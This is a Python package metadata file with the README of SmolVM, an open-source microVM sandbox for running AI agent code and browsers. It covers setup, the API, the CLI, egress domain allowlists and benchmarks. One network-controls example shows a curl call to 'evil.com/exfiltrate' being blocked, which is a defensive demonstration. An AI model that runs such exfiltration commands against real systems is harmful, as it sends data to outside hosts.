Metadata-Version: 2.4
Name: smolvm
Version: 0.0.9.dev0
Classifier: Development Status :: 3 - Alpha
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: Apache Software License
Classifier: Operating System :: MacOS :: MacOS X
Classifier: Operating System :: POSIX :: Linux
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Topic :: System :: Emulators
Requires-Dist: paramiko>=3.0
Requires-Dist: pycdlib>=1.14.0
Requires-Dist: pydantic>=2.0
Requires-Dist: rich>=13.0
Requires-Dist: requests>=2.28
Requires-Dist: requests-unixsocket>=0.3
Requires-Dist: fastapi>=0.115.0 ; extra == 'all'
Requires-Dist: uvicorn[standard]>=0.34.0 ; extra == 'all'
Requires-Dist: websockets>=14.0 ; extra == 'all'
Requires-Dist: langchain ; extra == 'all'
Requires-Dist: langchain-openai ; extra == 'all'
Requires-Dist: openai ; extra == 'all'
Requires-Dist: openai-agents ; extra == 'all'
Requires-Dist: playwright ; extra == 'all'
Requires-Dist: pydantic-ai ; extra == 'all'
Requires-Dist: fastapi>=0.115.0 ; extra == 'dashboard'
Requires-Dist: uvicorn[standard]>=0.34.0 ; extra == 'dashboard'
Requires-Dist: websockets>=14.0 ; extra == 'dashboard'
Requires-Dist: pytest>=7.0 ; extra == 'dev'
Requires-Dist: pytest-asyncio>=1.0 ; extra == 'dev'
Requires-Dist: pytest-cov>=4.0 ; extra == 'dev'
Requires-Dist: ruff>=0.15.0 ; extra == 'dev'
Requires-Dist: mypy>=1.0 ; extra == 'dev'
Requires-Dist: pre-commit>=4.2.0 ; extra == 'dev'
Requires-Dist: langchain ; extra == 'examples'
Requires-Dist: langchain-openai ; extra == 'examples'
Requires-Dist: openai ; extra == 'examples'
Requires-Dist: openai-agents ; extra == 'examples'
Requires-Dist: playwright ; extra == 'examples'
Requires-Dist: pydantic-ai ; extra == 'examples'
Requires-Dist: psycopg[binary]>=3.1 ; extra == 'postgres'
Requires-Dist: psycopg-pool>=3.1 ; extra == 'postgres'
Requires-Dist: boto3>=1.26 ; extra == 's3'
Requires-Dist: python-dotenv>=1.0 ; extra == 's3'
Provides-Extra: all
Provides-Extra: dashboard
Provides-Extra: dev
Provides-Extra: examples
Provides-Extra: postgres
Provides-Extra: s3
License-File: LICENSE
Summary: Secure runtime for AI agents, and tools -- free and open-source from Celesto AI 🧡
Author-email: Celesto AI <hello@celesto.ai>
License-Expression: Apache-2.0
Requires-Python: >=3.10, <3.14
Description-Content-Type: text/markdown; charset=UTF-8; variant=GFM

<div align="center">

# SmolVM

#### Secure, isolated computers that AI agents can use to browse, run code, and get real work done. 


<img src="https://ik.imagekit.io/gradsflow/celestoai/logo/celesto%20cover%20low_vFigbRaJI.png">

[![CodeQL](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/github-code-scanning/codeql)
[![Run Tests](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml/badge.svg)](https://github.com/CelestoAI/SmolVM/actions/workflows/pytest.yml)
[![License](https://img.shields.io/badge/License-Apache_2.0-orange.svg)](https://opensource.org/licenses/Apache-2.0)
[![Python 3.10+](https://img.shields.io/badge/python-3.10+-orange.svg)](https://www.python.org/downloads/)

[Quick start](#quickstart) • [Examples](#examples) • [Features](#features) • [Performance](#performance) • [Docs](https://docs.celesto.ai) • [Community Slack](https://join.slack.com/t/celestoai/shared_invite/zt-3qc7h8gno-Nb5_PElEWHDNnGqdVzC~4Q) 

</div>

---

SmolVM gives AI agents their own disposable computer. Each sandbox is a lightweight virtual machine that boots in seconds, runs any code or command you throw at it, and disappears when you're done — nothing touches your host.


## Features

- **Sub-second boot** — VMs ready in ~500 ms.
- **Hardware isolation** — Stronger security than containers.
- **Network controls** — Domain allowlists for egress filtering.
- **Browser sessions** — Full browser agents can see and control.
- **Snapshots** — Save and restore VM state instantly.
- **OpenClaw** — GUI Linux apps inside a sandbox.


## Use cases

- **Run untrusted code safely.** Execute AI-generated code in an isolated sandbox instead of on your machine.
- **Give agents a browser.** Spin up a full browser session that agents can see and control in real time.
- **Keep state across turns.** Reuse the same sandbox throughout a multi-step workflow.


## Quickstart

Install SmolVM with a single command:

```bash
curl -sSL https://celesto.ai/install.sh | bash
```

This installs everything you need (including Python tooling), configures your machine, and verifies the setup.

<details>
<summary>Manual installation</summary>

```bash
pip install smolvm
smolvm setup
smolvm doctor
```

Linux may prompt for `sudo` during setup so it can install host dependencies and configure runtime permissions.

</details>

### Start a sandbox in Python

```python
from smolvm import SmolVM

with SmolVM() as vm:
    result = vm.run("echo 'Hello from the sandbox!'")
    print(result.stdout.strip())
```

The `with` block creates a sandbox, runs your command inside it, and tears the sandbox down automatically when the block exits.


### Start a sandbox from the CLI

Create a sandbox, check that it's running, then stop it:

```bash
smolvm create --name my-sandbox
# my-sandbox  running  172.16.0.2

smolvm list
# NAME         STATUS   IP
# my-sandbox   running  172.16.0.2

smolvm stop my-sandbox
```

Open a shell inside a running sandbox:

```bash
smolvm ssh my-sandbox
```


## Browser sessions

SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.

Start a browser session with a live view you can watch in your own browser:

```bash
smolvm browser start --live
# Session:   sess_a1b2c3
# Live view: http://localhost:6080
```

Open the URL to watch the browser in real time. When you're done, list and stop sessions:

```bash
smolvm browser list
smolvm browser stop sess_a1b2c3
```

See [examples/browser_session.py](examples/browser_session.py) for the Python equivalent.


## Network controls

By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing `internet_settings`:

```python
from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")    # allowed
vm.run("curl https://evil.com/exfiltrate")         # blocked
```

See [docs/concepts/network-egress-controls.md](docs/deep-dive/network-egress-controls.md) for how it works under the hood.


## Examples

### Getting started

| What you'll learn | Example |
| --- | --- |
| Run code in a sandbox | [quickstart_sandbox.py](examples/quickstart_sandbox.py) |
| Start a browser session | [browser_session.py](examples/browser_session.py) |
| Pass environment variables into a sandbox | [env_injection.py](examples/env_injection.py) |

### Agent framework integrations

These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.

| Framework | Example |
| --- | --- |
| OpenAI Agents | [openai_agents_tool.py](examples/agent_tools/openai_agents_tool.py) |
| LangChain | [langchain_tool.py](examples/agent_tools/langchain_tool.py) |
| PydanticAI — shell tool | [pydanticai_tool.py](examples/agent_tools/pydanticai_tool.py) |
| PydanticAI — reusable sandbox across turns | [pydanticai_reusable_tool.py](examples/agent_tools/pydanticai_reusable_tool.py) |
| PydanticAI — browser automation | [pydanticai_agent_browser.py](examples/agent_tools/pydanticai_agent_browser.py) |
| Computer use (click and type) | [computer_use_browser.py](examples/agent_tools/computer_use_browser.py) |

### Advanced

| What it does | Example |
| --- | --- |
| Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem | [openclaw.py](examples/openclaw.py) |

Each script shows its own `pip install ...` line when it needs extra packages.


## Security

SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See [SECURITY.md](SECURITY.md) for the full policy and scope.


## Performance

Median lifecycle timings on a standard Linux host:

| Phase | Time |
| --- | --- |
| Create + Start | ~572 ms |
| Ready to accept commands | ~2.1 s |
| Command execution | ~43 ms |
| Stop + Delete | ~751 ms |
| **Full lifecycle (boot, run, teardown)** | **~3.5 s** |

Run the benchmark yourself:

```bash
python3 scripts/benchmarks/bench_subprocess.py --vms 10 -v
```

Measured on AMD Ryzen 7 7800X3D (8C/16T), Ubuntu Linux. SmolVM uses [Firecracker](https://firecracker-microvm.github.io/), a lightweight virtual machine manager built for running thousands of secure, fast micro-VMs.


## Contributing

See [CONTRIBUTING.md](CONTRIBUTING.md) to get started.


## License

Apache 2.0 — see [LICENSE](LICENSE) for details.

---
<div align="center">
Built with 🧡 in London by <a href="https://celesto.ai">Celesto AI</a>
</div>

